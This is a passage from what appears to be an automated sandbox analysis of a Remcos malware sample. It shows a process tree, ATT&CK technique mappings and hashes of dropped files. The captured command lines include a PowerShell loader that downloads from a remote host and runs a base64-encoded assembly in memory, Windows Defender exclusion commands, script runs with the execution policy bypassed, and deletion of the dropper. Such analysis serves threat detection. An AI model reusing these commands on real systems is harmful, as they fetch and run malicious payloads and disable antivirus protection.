$tkyr.DownloadString( $lBCzSg );$huUPX = 'C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.dc/moc.sweiversecivreslautrive//:sptth' , $huUPX , 'true' ) );};"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4268
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1792
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\"
      4⤵
      PID:1648
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\qzeym.ps1"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2272
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:1724
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs"
      4⤵
      PID:1036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
60ad4505ee6a79a5209e8a313de5acb1

SHA1
724d1c63905eab55da6f086cdb188654a83c1b21

SHA256
c5869d3a193992c2df2fbf9d9c1c71b98e7308a8de285fa8b7c3afc18dad0fe9

SHA512
3762b6d47042ce84d73e9f868af07f7113a29bff6d720886ca3f3c8772da3a760014f42856f2ed6cfc45b2cc5b86f0e02548dd04fc5506f7b862c5aee4e91911

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\qzeym.ps1

Filesize
1.7MB

MD5
46153d1e4e7f4151898a8c84bbfa1037

SHA1
eb4dcd68cce1346869a5c2ec55430968ab683df5

SHA256
6104acedbcfcdaa76ad7e685a79d2581af61e8763f0b57c587df52c870a7a708

SHA512
b4ead3814d5f8d04eaef62b0b457878f08453917b3de06b1fa2a9e67bf6107240fb98fbee8a09aae86ab9b21f5a1e321f5915dfbe179bd95cdb2a0a34bd69914

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1

Filesize
336B

MD5
b47e72c4b0fa6269f6d972c43f9dd0f6

SHA1
47aed1bb814ac31ec7a98cac571dd72a8cc08408

SHA256
d2a93cc8c7932e285f61f7a6b01d7300e629d4707dbe8b6f069808c7d802a993

SHA512
8f135c4dfce0b8ef04f2e26bdffb0ebbf85ca82241864e605f0c00722f7b9e8603e99305227358a2b80667d5c4f56f543ce459e07a147d6c3275a9f62ffef1fc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
9f137306c0052dadfa282f98bdd090c8

SHA1
188c69096facf9d386e07071fbc010a439e9c587

SHA256
dd5f322dc51b0d58ce8486751b488d56158a6c616a4079a0d1f260ecc3dbfacd

SHA512
6209fd29932e67f1e9ab2144615c6b3033587f3785c68a894b0e607558450c07f48a00b3456dd241d2413a4c5040b81fae86d83589dae18a2a56b312f83e4970

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
083782a87bd50ffc86d70cbc6f04e275

SHA1
0c11bc2b2c2cf33b17fff5e441881131ac1bee31

SHA256
7a54dcc99ebfb850afde560857e2d1f764a53ff09efd03222f56ab547539798f

SHA512
a7e56293e07acce20e69dceb13282e5d1eed2ef972a4c9cf1fb4f973b4b7d6a9ca8714fc547ab662842205383891372a2386fc3a12af3d7e4ef6a195f8a2bf02

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ankiwyyu.idy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1724-82-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1724-90-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1724-124-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1724-123-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1724-116-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1724-115-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1724-108-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1724-80-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1724-107-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1724-84-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1724-85-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1724-88-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1724-89-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1724-100-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1724-91-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1724-92-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1724-99-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2272-79-0x0000021A6BD80000-0x0000021A6BD8A000-memory.dmp

Filesize
40KB

Download
memory/4268-22-0x0000027A4B6B0000-0x0000027A4B6BA000-memory.dmp

Filesize
40KB

Download
memory/4480-6-0x000001982ACF0000-0x000001982AD12000-memory.dmp

Filesize
136KB

Download
memory/4480-0-0x00007FFFB9073000-0x00007FFFB9075000-memory.dmp

Filesize
8KB

Download
memory/4480-11-0x00007FFFB9070000-0x00007FFFB9B31000-memory.dmp

Filesize
10.8MB

Download
memory/4480-65-0x00007FFFB9070000-0x00007FFFB9B31000-memory.dmp

Filesize
10.8MB

Download
memory/4480-12-0x00007FFFB9070000-0x00007FFFB9B31000-memory.dmp

Filesize
10.8MB

Download
memory/4480-62-0x00007FFFB9073000-0x00007FFFB9075000-memory.dmp

Filesize
8KB

Download